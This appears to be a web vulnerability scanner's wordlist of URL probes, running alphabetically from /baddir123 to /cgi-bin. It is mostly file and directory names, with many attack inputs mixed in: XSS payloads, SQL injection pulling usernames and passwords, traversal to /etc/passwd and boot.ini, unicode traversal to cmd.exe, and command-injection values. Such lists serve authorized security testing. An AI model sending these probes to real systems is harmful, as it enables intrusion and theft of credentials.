/baddir123/CHANGES.txt
/baddir123/CONFIGURE
/baddir123/CONFIGURE.txt
/baddir123/CVS/Entries
/baddir123/CVS/Repository
/baddir123/CVS/Root
/baddir123/ChangeLog
/baddir123/ChangeLog.txt
/baddir123/Configure
/baddir123/CreatedByHP3.txt
/baddir123/Default.asp
/baddir123/Default.aspx
/baddir123/INSTALL
/baddir123/INSTALL.html
/baddir123/INSTALL.mysql.txt
/baddir123/INSTALL.pgsql.txt
/baddir123/Login.aspx
/baddir123/Login.do
/baddir123/Makefile
/baddir123/README
/baddir123/README.htm
/baddir123/README.html
/baddir123/ReadMe
/baddir123/ReadMe.txt
/baddir123/Readme
/baddir123/Readme.txt
/baddir123/TODO.txt
/baddir123/ToDo
/baddir123/ToDo.txt
/baddir123/WS_FTP.LOG
/baddir123/WS_FTP.ini
/baddir123/_root_.sys
/baddir123/access.log
/baddir123/access_log
/baddir123/ackcmdc.exe
/baddir123/adm/
/baddir123/admin.cfg
/baddir123/admin.conf
/baddir123/admin.dat
/baddir123/admin.data
/baddir123/admin.db
/baddir123/admin.dbf
/baddir123/admin.exe
/baddir123/admin.htm
/baddir123/admin.html
/baddir123/admin.htx
/baddir123/admin.ini
/baddir123/admin.lst
/baddir123/admin.pw
/baddir123/admin.txt
/baddir123/admin/
/baddir123/changelog.htm
/baddir123/changelog.html
/baddir123/changes.xml
/baddir123/changs.txt
/baddir123/cleanup.log
/baddir123/cleanup.txt
/baddir123/configure
/baddir123/configure.txt
/baddir123/content-space
/baddir123/core
/baddir123/customer.dbf
/baddir123/customers.dbf
/baddir123/data.dbf
/baddir123/data.htm
/baddir123/data.html
/baddir123/data.txt
/baddir123/db.dbf
/baddir123/dbsamp.htm
/baddir123/debug.asp
/baddir123/debug.cfg
/baddir123/debug.cgi
/baddir123/debug.dat
/baddir123/debug.htm
/baddir123/debug.html
/baddir123/debug.txt
/baddir123/deploy.exe
/baddir123/dir.txt
/baddir123/dirs.txt
/baddir123/doexec.c
/baddir123/download.html
/baddir123/dvwssr.dll
/baddir123/email.txt
/baddir123/email_template.txt
/baddir123/env.log
/baddir123/fuck.exe
/baddir123/hobbit.txt
/baddir123/info.txt
/baddir123/info2.txt
/baddir123/install
/baddir123/install.htm
/baddir123/install.html
/baddir123/install.log
/baddir123/install.xml
/baddir123/intranet.html
/baddir123/inventory.dbf
/baddir123/ipswitch.ini
/baddir123/localstart.asp
/baddir123/login.asp
/baddir123/login.dbf
/baddir123/logon.cgi
/baddir123/logon.htm
/baddir123/logon.html
/baddir123/members.dbf
/baddir123/mkilog.exe
/baddir123/nc.exe
/baddir123/netcat
/baddir123/netcat.c
/baddir123/netcat.exe
/baddir123/nph-test-cgi
/baddir123/orders.asp
/baddir123/orders.dat
/baddir123/orders.htm
/baddir123/orders.html
/baddir123/orders.txt
/baddir123/pass.asp
/baddir123/pass.cfg
/baddir123/pass.cgi
/baddir123/pass.dat
/baddir123/pass.data
/baddir123/pass.db
/baddir123/pass.dbf
/baddir123/pass.exe
/baddir123/pass.htm
/baddir123/pass.html
/baddir123/pass.htx
/baddir123/pass.ini
/baddir123/pass.lst
/baddir123/pass.txt
/baddir123/passwd
/baddir123/passwd.txt
/baddir123/password
/baddir123/password.asp
/baddir123/password.cfg
/baddir123/password.cgi
/baddir123/password.dat
/baddir123/password.data
/baddir123/password.db
/baddir123/password.dbf
/baddir123/password.exe
/baddir123/password.htm
/baddir123/password.html
/baddir123/password.htx
/baddir123/password.ini
/baddir123/password.lst
/baddir123/password.txt
/baddir123/passwords.asp
/baddir123/passwords.cfg
/baddir123/passwords.cgi
/baddir123/passwords.dat
/baddir123/passwords.data
/baddir123/passwords.db
/baddir123/passwords.dbf
/baddir123/passwords.exe
/baddir123/passwords.htm
/baddir123/passwords.html
/baddir123/passwords.htx
/baddir123/passwords.ini
/baddir123/passwords.lst
/baddir123/passwords.txt
/baddir123/phpMyAdmin/
/baddir123/phpPgAdmin/
/baddir123/products.dbf
/baddir123/pubs.dbf
/baddir123/read_me.html
/baddir123/readme
/baddir123/readme.htm
/baddir123/readme.html
/baddir123/root.exe
/baddir123/root_readme.txt
/baddir123/scripts/comments.txt
/baddir123/security.dbf
/baddir123/server.log
/baddir123/services
/baddir123/servlet
/baddir123/site_mgmt.htm
/baddir123/site_mgmt.html
/baddir123/sitelist.txt
/baddir123/sqlnet.log
/baddir123/test-cgi
/baddir123/test-cgi.tcl
/baddir123/test-env
/baddir123/test.dbf
/baddir123/tmp
/baddir123/update.htm
/baddir123/update.html
/baddir123/user.asp
/baddir123/user.cfg
/baddir123/user.cgi
/baddir123/user.dat
/baddir123/user.data
/baddir123/user.db
/baddir123/user.dbf
/baddir123/user.exe
/baddir123/user.htm
/baddir123/user.html
/baddir123/user.htx
/baddir123/user.ini
/baddir123/user.lst
/baddir123/user.txt
/baddir123/user_adm.html
/baddir123/users.asp
/baddir123/users.cfg
/baddir123/users.cgi
/baddir123/users.dat
/baddir123/users.data
/baddir123/users.db
/baddir123/users.dbf
/baddir123/users.exe
/baddir123/users.htm
/baddir123/users.html
/baddir123/users.htx
/baddir123/users.ini
/baddir123/users.lst
/baddir123/users.txt
/baddir123/wdir.txt
/baddir123/wdirs.txt
/baddir123/ws_ftp.ini
/baddir123/xferlog.txt
/badfile123.asp
/badfile123.asp/a<script>alert(097531)</script>
/badfile123.htm
/badfile123.html
/badfile12<
/bak
/bak/
/ban.bak
/ban.dat
/ban.log
/banca/
/banco/
/bandwidth/index.cgi
/bank/
/banmat.pwd
/banner/
/banner01/
/banner_add_edit.asp?pagetype=2&bannerid=%27
/banners.cgi?aff=%3Cscript%3Ealert%282200%29%3C%2Fscript%3E
/banners.cgi?aff=&cat=%3Cscript%3Ealert%282202%29%3C%2Fscript%3E
/banners.php
/banners.php?op=EmailStats&cid=1%20AND%20passwd%20LIKE%20'a%'/*
/banners/
/bar/
/base
/base.php?*[*]*=
/base.php?abre=
/base.php?adresa=
/base.php?base_dir=
/base.php?basepath=
/base.php?body=
/base.php?category=
/base.php?chapter=
/base.php?choix=
/base.php?cont=
/base.php?disp=
/base.php?doshow=
/base.php?ev=
/base.php?eval=
/base.php?f1=
/base.php?filepath=
/base.php?home=
/base.php?id=
/base.php?incl=
/base.php?include=
/base.php?ir=
/base.php?itemnav=
/base.php?k=
/base.php?ki=
/base.php?l=
/base.php?lang=
/base.php?link=
/base.php?loc=
/base.php?mid=
/base.php?middle=
/base.php?middlePart=
/base.php?module=
/base.php?name=
/base.php?numero=
/base.php?oldal=
/base.php?opcion=
/base.php?pa=
/base.php?pag=
/base.php?pageweb=
/base.php?panel=
/base.php?path=
/base.php?phpbb_root_path=
/base.php?play=
/base.php?pname=
/base.php?rub=
/base.php?seccion=
/base.php?second=
/base.php?seite=
/base.php?sekce=
/base.php?sivu=
/base.php?str=
/base.php?subject=
/base.php?t=
/base.php?texto=
/base.php?to=
/base.php?v=
/base.php?var=
/base.php?w=
/base/
/base/webmail/readmsg.php?mailbox=../../../../../../../../../../../../../../etc/passwd&id=1
/basilix.php3
/basilix.php3?request_id[DUMMY]=../../../../etc/passwd&RequestID=DUMMY&username=blah&password=blah
/basilix.php3?request_id[DUMMY]=../../../../etc/passwd&RequestID=DUMMY&username=sec&password=secu
/basilix/
/basilix/compose-attach.php3
/basilix/mbox-list.php3
/basilix/message-read.php3
/basket.php?cat=%3Cscript%3Ealert%288480%29%3C%2Fscript%3E
/batch/
/batch_add.asp
/batch_manage.asp
/bb-dnbd/
/bb-dnbd/1601057075.sh
/bb-dnbd/bb-hist.sh
/bb-dnbd/faxsurvey
/bb-login.php?re=%22%3E%3Cscript%3Ealert%289008%29%3C%2Fscript%3E
/bb/index.php?limit='
/bb000001.pl<script>alert('Vulnerable')</script>
/bb_admin.php?action=searchusers2&whatus=%22+%2F%3E%3Cscript%3Ealert%289780%29%3C%2Fscript%3E&searchus=id
/bb_usage_stats/include/bb_usage_stats.php?phpbb_root_path=
/bbv/
/bc4j.html
/bdata/
/bdatos/
/beacon/language/1/splash.lang.php?languagePath=
/becommunity/community/index.php?pageurl=
/beta
/beta/
/big.php?pathtotemplate=
/bigconf.cgi
/bigsam_guestbook.php?displayBegin=9999...9999
/bill/
/billing.nsf
/billing/
/billing/billing.apw
/billpay/
/bin
/bin/
/bin/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
/bin/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
/bin/..%255c..%255c..%255c..%255cwinnt/system32/1434305906.exe
/bin/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir
/bin/..%255c../..%255c../..%255c../winnt/system32/783265586.exe
/bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
/bin/..%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/551381303.exe
/bin/..%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/cmd.exe?/c+dir
/bin/..%e0%80%af../winnt/system32/1628668593.exe
/bin/..%e0%80%af../winnt/system32/cmd.exe?/c+dir
/bin/..%f0%80%80%af../winnt/system32/2047824630.exe
/bin/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
/bin/..%f8%80%80%80%af../winnt/system32/738653057.exe
/bin/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/bin/..%fc%80%80%80%80%af../winnt/system32/132225266.exe
/bin/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/bin/486416302.cgi
/bin/CGImail.exe
/bin/DCShop/auth_data/auth_user_file.txt
/bin/DCShop/orders/orders.txt
/bin/admin.pl
/bin/cardboard.cgi
/bin/cart.pl
/bin/cart32.exe
/bin/cfgwiz.exe
/bin/common/1790900099.pl
/bin/common/calendar.pl?course_name=<script>alert(document.cookie)</script>
/bin/common/user_update_passwd.pl
/bin/configure
/bin/contents.htm
/bin/fpadmin.htm
/bin/fpremadm.exe
/bin/fpsrvadm.exe
/bin/orders/orders.txt
/bin/pagelog.cgi
/bin/shop.pl/page=;cat%20shop.pl
/bin/shop/auth_data/auth_user_file.txt
/bin/shop/orders/orders.txt
/bin/viewfile/TWiki/TWikiDocGraphics?rev=1;filename=../../../../../etc/passwd
/binaries/
/bio/
/bios/
/biznews.cgi?a=33&t=
/biztalkserverdocs/
/biztalkserverrepository/
/biztalktracking/RawCustomSearchField.asp?|-|0|404_Object_Not_Found
/biztalktracking/rawdocdata.asp
/biztalktracking/rawdocdata.asp?|-|0|404_Object_Not_Found
/bkup
/bkup/
/bla.jsp?....................boot.ini
/bla.jsp?\..\..\..\..\..\..\..\..\..\..\boot.ini
/blah-whatever-badfile.jsp
/blah-whatever.jsp
/blah123.php
/blahb.ida
/blahb.idq
/blank.php?OpenPage=
/blank.php?abre=
/blank.php?action=
/blank.php?base_dir=
/blank.php?basepath=
/blank.php?body=
/blank.php?category=
/blank.php?channel=
/blank.php?corpo=
/blank.php?destino=
/blank.php?dir=
/blank.php?filepath=
/blank.php?get=
/blank.php?goFile=
/blank.php?goto=
/blank.php?h=
/blank.php?header=
/blank.php?id=
/blank.php?in=
/blank.php?incl=
/blank.php?ir=
/blank.php?itemnav=
/blank.php?j=
/blank.php?ki=
/blank.php?lang=
/blank.php?left=
/blank.php?link=
/blank.php?loader=
/blank.php?menu=
/blank.php?mod=
/blank.php?name=
/blank.php?o=
/blank.php?oldal=
/blank.php?open=
/blank.php?pa=
/blank.php?page=
/blank.php?pagina=
/blank.php?panel=
/blank.php?path=
/blank.php?phpbb_root_path=
/blank.php?pname=
/blank.php?pollname=
/blank.php?pr=
/blank.php?pre=
/blank.php?pref=
/blank.php?qry=
/blank.php?read=
/blank.php?ref=
/blank.php?rub=
/blank.php?section=
/blank.php?sivu=
/blank.php?sp=
/blank.php?strona=
/blank.php?subject=
/blank.php?t=
/blank.php?url=
/blank.php?var=
/blank.php?where=
/blank.php?xlink=
/blank.php?z=
/block-forums.php?graph=<script>alert('CSS')</script>
/blockquote/
/blog
/blog/
/blog/1320208713.php
/blog/archives.php?id='
/blog/include/common/comfinish.cfm?FTRESULT.errorcode=0&FTVAR_SCRIPTRUN=alert%289050%29
/blog/index.php?tag=x%2527
/blog/journal.php?id='
/blog/journal.php?id=80%20union%20show%20tables
/blogadmin.php?blogid=%27
/blogger/data/pref.db
/blogger/data/subscribers.db
/blogs/
/blogs/index.php?title='
/bmc/admin.php
/bmc/admin.php/%3cscript%3ealert(2708)%3c%2fscript%3e
/bmp/
/bmp/JSPClient.java
/bmp/README.txt
/bmp/global-web-application.xml
/bmp/mime.types
/bmp/setconn.jsp
/bmp/sqljdemo.jsp
/boadmin/
/board.php?FID=<script>alert(document.cookie)</script>
/board.php?see=
/board/index.php
/board/philboard_admin.asp+
/bob/
/body/
/boilerplate.asp?NFuse_Template=.../.../.../.../.../.../.../.../.../boot.ini&NFuse_CurrentFolder=/
/boilerplate.asp?NFuse_Template=../../boot.ini&amp;NFuse_CurrentFolder=/SSLx0020Directories|-|0|404_Object_Not_Found
/book.php5?page=
/book/
/bookmark.nsf
/books.nsf
/boot
/boot/
/bottom.html
/bp/database/dbBlogMX.mdb
/bridges/SMF/logout.php?path_to_smf=../../images/yim.gif%00
/browse.cfm?category_id=
/browse.php?browse_cat_id=1&browse_cat_name=%3Cscript%3Ealert%281486%29%3C%2Fscript%3E
/browse.php?cell_title_background_color=%22%3E%3Cscript%3Ealert%281484%29%3C%2Fscript%3E
/browse0.htm?ProductIndex=%27
/browse0.htm?ProductIndex=%3Cscript%3Ealert%282550%29%3C%2Fscript%3E
/browser/
/browser/details.php?class=%3Cscript%3Ealert%289666%29%3C%2Fscript%3E
/btauxdir/
/btdownload.php?type=torrent&file=../../../../../../etc/passwd
/buddies.blt
/buddy.blt
/buddylist.blt
/budget/
/bug
/bug.php?op=add&project=0'
/bug.php?op=viewvotes&bugid='
/bug.php?op=vote&bugid='
/bug/
/bug_sponsorship_list_view_inc.php?t_core_path=../../../../../../../../etc/passwd%00
/bugs
/bugs.php?op='
/bugs/
/bugs/forgot_password.php?email=\"><script>alert(document.cookie)</script>
/bugs/index.php?err=3&email=\"><script>alert(document.cookie)</script>
/bugtest+/+
/bugzilla/
/busytime.nsf
/buy
/buy/
/buynow/
/by
/bytehoard/index.php?infolder=../../../../../../../../../../../etc/
/bz/squito/photolist.inc.php?photoroot=
/c-h.v2.php
/c/
/c/portal/login
/c/portal/login?login=%22%3E%3Cscript%3Ealert%289390%29%3C%2Fscript%3E%3Ca+b%3D%22c
/c/winnt/system32/cmd.exe?/c+dir+/OG
/c32web.exe/ChangeAdminPassword
/c99.php
/c99shell.php
/ca/..\\..\\..\\..\\..\\..\\..\\..\\winnt/\\win.ini
/ca/..\\..\\..\\..\\..\\..\\/\\etc/\\passwd
/ca//\\../\\../\\../\\../\\../\\../\\windows/\\win.ini
/ca/\../\../\../\../\../\../\../\../\../\../\boot.ini
/ca000001.pl?ACTION=SHOWCART&hop=\"><script>alert('Vulnerable')</script>&PATH=acatalog%2f
/ca000007.pl?ACTION=SHOWCART&REFPAGE=\"><script>alert('Vulnerable')</script>
/ca_html/
/ca_icons/
/ca_widgets/
/cache
/cache-stats/
/cache/
/caja/
/cal_day.php?op=day&date=2005-05-03&catview=1'
/cal_day.php?op=day&date=2006-01-10&catview=99%27
/cal_event.php?id=%27
/cal_footer.inc.php?leftfooter=%3Cscript%3Ealert%289072%29%3C%2Fscript%3E
/cal_functions.inc.php
/cal_login.php?op=login
/cal_make.pl?p0=<script>alert(1116)</script>
/cal_popup.php?id=%27
/cal_week.php?op=week&catview%5B%5D=1
/cal_week.php?op=week&catview=
/calendar.asp?action=viewevent&eventid=-1%27
/calendar.nsf
/calendar.php?Cat=&month='&year=2005
/calendar.php?action=dayview&year=2006&month=2&day=1&&GLOBALS%5B%5D=1&bdaylist=%3Cscript%3Ealert%281550%29%3C%2Fscript%3E
/calendar.php?action=dayview&year=2006&month=2&day=1&&GLOBALS%5B%5D=1&events=%3Cscript%3Ealert%281548%29%3C%2Fscript%3E
/calendar.php?action=dayview&year=2007&month=3&day=1111111%27
/calendar.php?action=editevent&eid=1&GLOBALS%5B%5D=1&yearopts=%3Cscript%3Ealert%281552%29%3C%2Fscript%3E
/calendar.php?l=
/calendar.php?month%5B%5D=1
/calendar.php?month=%22%3E%3Cscript%3Ealert%289068%29%3C%2Fscript%3E
/calendar.php?month=%27
/calendar.php?month=&year=%27
/calendar.php?month=10%27&day=10%27&year=2005%27&subject=test&description=test&action=do_addevent
/calendar.php?op=cal&month=%22%3E%3Cscript%3Ealert%281808%29%3C%2Fscript%3E&year=2006
/calendar.php?op=cal&month=3&year=%22%3E%3Cscript%3Ealert%281806%29%3C%2Fscript%3E
/calendar.php?op=cal&month=5&year=2'%3Ch1%3DarkBicho005&catview=1
/calendar.php?op=cal&month=6&year=%3C/a%3E%3Cscript%3Ealert(xss)%3C/script%3E%3Ca%3E&catview=0
/calendar.php?op=day&ask=nd&da=28&mo=3&ye=2006&next=%22%3E%3Cscript%3Ealert%281810%29%3C%2Fscript%3E
/calendar.php?op=day&ask=nd&da=28&mo=3&ye=2006&next=2&prev=%22%3E%3Cscript%3Ealert%281812%29%3C%2Fscript%3E
/calendar.php?p=
/calendar.php?pg=
/calendar.php?s=
/calendar.php?week=%22%3E%3Cscript%3Ealert(xss)%3C/script%3E
/calendar.php?year=%3Cscript%3Ealert%289066%29%3C%2Fscript%3E
/calendar.php?year=10000
/calendar.php?year=<script>alert(document.cookie);</script>&month=03&day=05
/calendar.pl?command=login&fromTemplate=
/calendar/inc/class.holidaycalc.inc.php?GLOBALS[phpgw_info][user][preferences][common][country]=/../../../../../../../../boot.ini%00
/calendar/inc/class.holidaycalc.inc.php?GLOBALS[phpgw_info][user][preferences][common][country]=/../../../../../../../../winnt/win.ini%00
/calendar/myagenda.php?%22%3E%3Cscript%3Ealert%289978%29%3C%2Fscript%3E
/canal.php?meio=
/captcha.php?imagehash%5B%5D=123
/carbo.dll
/card/
/cards/
/carellocfdocs/
/carellofdocs/
/cart.php?message1=%27%3E%3Cscript%3Ealert%281998%29%3C%2Fscript%3E
/cart.php?message=%27%3E%3Cscript%3Ealert%282000%29%3C%2Fscript%3E
/cart.php?target=category&category_id='
/cart.php?target=product&product_id='&category_id=246
/cart/
/cart/1510674614.ini
/cart/settings.ini
/cart/vars.dat
/cartWiz/store/1662996042.asp
/cartWiz/store/addToCart.asp?idProduct='&quantity=1
/cartcart.cgi
/cartwiz/store/2014367933.asp
/cartwiz/store/productDetails.asp?idProduct='
/cartwiz/store/searchResults.asp?name=&idCategory=&sku=&priceFrom='&priceTo=9999999999&validate=1
/cartwiz/store/searchResults.asp?name=&idCategory=&sku=&priceFrom=0&priceTo='&validate=1
/cartwiz/store/searchResults.asp?name=&idCategory='&sku=&priceFrom=0&priceTo=9999999999&validate=1
/casProcess.inc.php?claro_CasLibPath=/../../../../../../../../boot.ini%00
/casProcess.inc.php?claro_CasLibPath=/../../../../../../../../etc/passwd%00
/casProcess.inc.php?claro_CasLibPath=/../../../../../../../../winnt/win.ini%00
/cash/
/casp401k/
/casp401k/1221825791.htm
/casp401k/default.htm
/caspagent/
/caspagent/264026109.asp
/caspagent/default.asp
/caspclient/
/caspclient/683182146.asp
/caspclient/default.asp
/caspdoc/
/caspsamp/
/caspsamp/1219422634.asp
/caspsamp/495910392/
/caspsamp/ado.asp
/caspsamp/calendar.asp
/caspsamp/codebrws.asp
/caspsamp/diagnostics/922157362.asp
/caspsamp/diagnostics/compverify.asp
/caspsamp/dosperros/1640981828.asp
/caspsamp/dosperros/index.asp
/caspsamp/hello.asp
/caspsamp/inventorysample.asp
/caspsamp/java.asp
/caspsamp/jsado.asp
/caspsamp/loancalc/1573197682.htm
/caspsamp/loancalc/901052676.asp
/caspsamp/loancalc/loancalc.asp
/caspsamp/loancalc/login.htm
/caspsamp/server.asp
/caspsamp/spicepack_samples/
/caspsamp/sqlexecute.asp
/cat.asp?cat=
/cat.asp?iCat=%27&iChannel=1&nChannel=News
/cat.asp?iCat=%27&iChannel=2&nChannel=Articles
/cat.asp?iCat=%27&iChannel=3&nChannel=Pictures+
/catalog
/catalog.asp?catalogId=
/catalog.cfm?catalogId=
/catalog.nsf
/catalog/
/catalog/admin/banner_manager.php?page=1%3Cscript%3Ealert%283280%29%3C%2Fscript%3E
/catalog/admin/countries.php?page=1%3Cscript%3Ealert%283520%29%3C%2Fscript%3E
/catalog/admin/languages.php?page=1%3Cscript%3Ealert%283522%29%3C%2Fscript%3E
/catalog/admin/manufacturers.php?page=1%3Cscript%3Ealert%283282%29%3C%2Fscript%3E
/catalog/admin/newsletters.php?page=1%3Cscript%3Ealert%283524%29%3C%2Fscript%3E
/catalog/admin/products_expected.php?page=1%3Cscript%3Ealert%283284%29%3C%2Fscript%3E
/catalog/admin/tax_classes.php?page=1%3Cscript%3Ealert%283526%29%3C%2Fscript%3E
/catalog/admin/zones.php?page=1%3Cscript%3Ealert%283286%29%3C%2Fscript%3E
/catalog/includes/include_once.php
/catalog/includes/include_once.php?include_file=XXnonexistentXX
/catalog_products_with_images.php/%22%3E%3Cscript%3Ealert(xss)%3C/script%3E%3C%22
/catalogue.php?exp=%3Cscript%3Ealert%288478%29%3C%2Fscript%3E
/categorie.php3?cid=june
/category.asp?cat=
/category.asp?category=
/category.asp?catid=
/category.asp?cid=
/category.asp?id=
/category.cfm?cat=
/category.cfm?cat=%27
/category.cfm?categoryID=
/category.cfm?cid=
/category.cfm?id=
/category.php?cat=%22%3E%3Cscript%3Ealert%282106%29%3C%2Fscript%3E&num=0
/category.php?cat=1&num=%22%3E%3Cscript%3Ealert%282108%29%3C%2Fscript%3E
/category.php?cat=1&search=%22%3E%3Cscript%3Ealert%282110%29%3C%2Fscript%3E
/category.php?cat=cat=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(0x3b,0x3a,username,0x3a,0x3a,password,0x3a,0x3b),3,4,5/**/FROM/**/users/*
/category.php?cat=search&search=%27
/category.php?cname=%27
/category.php?id='403547101385
/category.php?id_category=%27
/category.php?id_category=-1/**/UNION/**/SELECT/**/123456,123456,2,3/*
/category/
/category_list.php?category_ID=-1/**/UNION/**/SELECT/**/teststring/*
/categorydetail.php?Cat=1%27
/catinfo
/catinfo/
/catinfo?<u><b>TESTING
/caupo/admin/admin_workspace.php
/cbi-bin/
/cbms/cbmsfoot.php
/cbms/changepass.php
/cbms/editclient.php
/cbms/passgen.php
/cbms/realinv.php
/cbms/usersetup.php
/cc
/cc/
/cc3/cart.php?act=reg&redir==%3D%22%3E%3cscript%3Ealert%281214%29%3C%2Fscript%3E
/cc3/index.php?act=viewCat&catId=1%22><script>alert(1208)</script>
/cc3/index.php?act=viewCat&catId=saleItems%22><script>alert(1210)</script>
/cc3/index.php?act=viewDoc&docId=3%22><script>alert(1204)</script>
/cc3/index.php?act=viewProd%22><script>alert(1206)</script>
/cc3/index.php?act=viewProd&productId=1%22><script>alert(1202)</script>
/cc3/index.php?searchStr=%22%3E%3Cscript%3Ealert%281212%29%3C%2Fscript%3E&act=viewCat
/ccard/
/ccards/
/ccbill
/ccbill/
/ccbill/884635766.cgi
/ccbill/secure/ccbill.log
/ccbill/whereami.cgi
/ccbill/whereami.cgi?g=cat%20../../../../etc/passwd
/ccbill/whereami.cgi?g=ls
/cd-cgi/
/cd-cgi/779161911.pl
/cd-cgi/sscd_suncourier.pl
/cd-cgi/sscd_suncourier.pl?emailaddr="foo@bar.com|id|"&step=submit
/cd/
/cdrom
/cdrom/
/ce_html/
/cehttp/property/
/cehttp/trace
/censura.php?cmd=vendor_info&vendorid=-1%27
/censura.php?cmd=vendor_info&vendorid=-1/**/union/**/select/**/0,username,password,3,4,5,6,7,8,9,10,12,13,14,15,16/**/from/**/users/**/
/cersvr.nsf
/cert
/cert/
/certa.nsf
/certcontrol/
/certenroll/
/certificado/
/certificate
/certificate/
/certificates
/certificates/
/certlog.nsf
/certs/
/certsrv.nsf
/certsrv/
/certsrv/..%255cwinnt/system32/cmd.exe?/c+dir
/certsrv/..%c0%af../winnt/system32/cmd.exe?/c+dir
/cfanywhere/index.html
/cfappman/
/cfappman/index.cfm
/cfcache.map
/cfdocs
/cfdocs.map
/cfdocs/
/cfdocs/cfcache.map
/cfdocs/cfmlsyntaxcheck.cfm
/cfdocs/exampleapp/docs/sourcewindow.cfm?Template=/etc/passwd
/cfdocs/exampleapp/docs/sourcewindow.cfm?Template=C:\boot.ini
/cfdocs/exampleapp/docs/sourcewindow.cfm?Template=c:\boot.ini
/cfdocs/exampleapp/email/application.cfm
/cfdocs/exampleapp/email/getfile.cfm
/cfdocs/exampleapp/email/getfile.cfm?filename=c:\boot.ini
/cfdocs/exampleapp/publish/admin/addcontent.cfm
/cfdocs/exampleapp/publish/admin/application.cfm
/cfdocs/examples/cvbeans/beaninfo.cfm
/cfdocs/examples/httpclient/mainframeset.cfm
/cfdocs/examples/mainframeset.cfm
/cfdocs/examples/parks/detail.cfm
/cfdocs/expelval/displayopenedfile.cfm
/cfdocs/expelval/sendmail.cfm
/cfdocs/expeval/ExprCalc.cfm?OpenFilePath=/etc/passwd
/cfdocs/expeval/ExprCalc.cfm?OpenFilePath=c:\boot.ini
/cfdocs/expeval/displayopenedfile.cfm
/cfdocs/expeval/displayopenedfile.cfm?OpenFilePath=c:\winnt\win.ini
/cfdocs/expeval/exprcalc.cfm
/cfdocs/expeval/exprcalc.cfm?OpenFilePath=c:\boot.ini
/cfdocs/expeval/openfile.cfm
/cfdocs/expeval/sendmail.cfm
/cfdocs/expressions.cfm
/cfdocs/root.cfm
/cfdocs/snippets/evaluate.cfm
/cfdocs/snippets/fileexists.cfm
/cfdocs/snippets/gettempdirectory.cfm
/cfdocs/snippets/viewexample.cfm
/cfdocs/zero.cfm
/cfide/
/cfide/1126468903/
/cfide/Administrator/startstop.html
/cfide/administrator/
/cfide/administrator/adminsettings.cfm
/cfide/administrator/index.cfm
/cfide/administrator/startstop.html
/cfide/probe.cfm
/cfusion/cfapps/forums/forums_.mdb
/cgi-auth/
/cgi-auth/1039073700.cgi
/cgi-auth/userreg.cgi
/cgi-bin
/cgi-bin"><script>alert(097531);</script>
/cgi-bin/
/cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%57%49%4E%4E%54%2F%73%79%73%74%65%6D%33%32%2Fping.exe%20127.0.0.1
/cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%57%69%6E%64%6F%77%73%2Fping.exe%20127.0.0.1
/cgi-bin/%2e%2e/abyss.conf
/cgi-bin/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
/cgi-bin/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
/cgi-bin/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir
/cgi-bin/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir
/cgi-bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
/cgi-bin/..%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/cmd.exe?/c+dir
/cgi-bin/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
/cgi-bin/..%e0%80%af../winnt/system32/cmd.exe?/c+dir
/cgi-bin/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
/cgi-bin/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/cgi-bin/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/cgi-bin/..\..\..\..\..\..\winnt\system32\cmd.exe?/c+dir
/cgi-bin/.DS_Store
/cgi-bin/.FBCIndex
/cgi-bin/.access
/cgi-bin/.addressbook
/cgi-bin/.bash_history
/cgi-bin/.bashrc
/cgi-bin/.cobalt/
/cgi-bin/.cobalt/alert/service.cgi?service=3D%3Cscript%=3Ealert('CSS')%3C/script%3E
/cgi-bin/.cobalt/cpuUsage/loadavg.cgi
/cgi-bin/.cobalt/message/message.cgi?info=%3Cscript%3Ealert%28%27alert%27%29%3B%3C/script%3E
/cgi-bin/.cobalt/networker/networker.cgi
/cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi
/cgi-bin/.cobalt/siteuserMod/siteuserMod.cgi
/cgi-bin/.cobalt/telnetUsage/telnetUsage.cgi
/cgi-bin/.forward
/cgi-bin/.htaccess
/cgi-bin/.htaccess.old
/cgi-bin/.htpasswd
/cgi-bin/.passwd
/cgi-bin//NoneExistent%0d%0aInjectedHeader:%20InjectedValue
/cgi-bin//Sites/Knowledge/Membership/Inspired/ViewCode.asp?file=index.asp
/cgi-bin//Sites/Knowledge/Membership/Inspiredtutorial/ViewCode.asp?file=index.asp
/cgi-bin//Sites/Samples/Knowledge/Membership/Inspired/ViewCode.asp?file=index.asp
/cgi-bin//Sites/Samples/Knowledge/Membership/Inspiredtutorial/ViewCode.asp?file=index.asp
/cgi-bin//Sites/Samples/Knowledge/Push/ViewCode.asp?file=index.asp
/cgi-bin//Sites/Samples/Knowledge/Search/ViewCode.asp?file=index.asp
/cgi-bin//siteserver/publishing/viewcode.asp?file=index.asp
/cgi-bin/000nonexistentfile.pl
/cgi-bin/1/cmd.cgi
/cgi-bin/465294236.old
/cgi-bin/884973308.old
/cgi-bin/?M=A
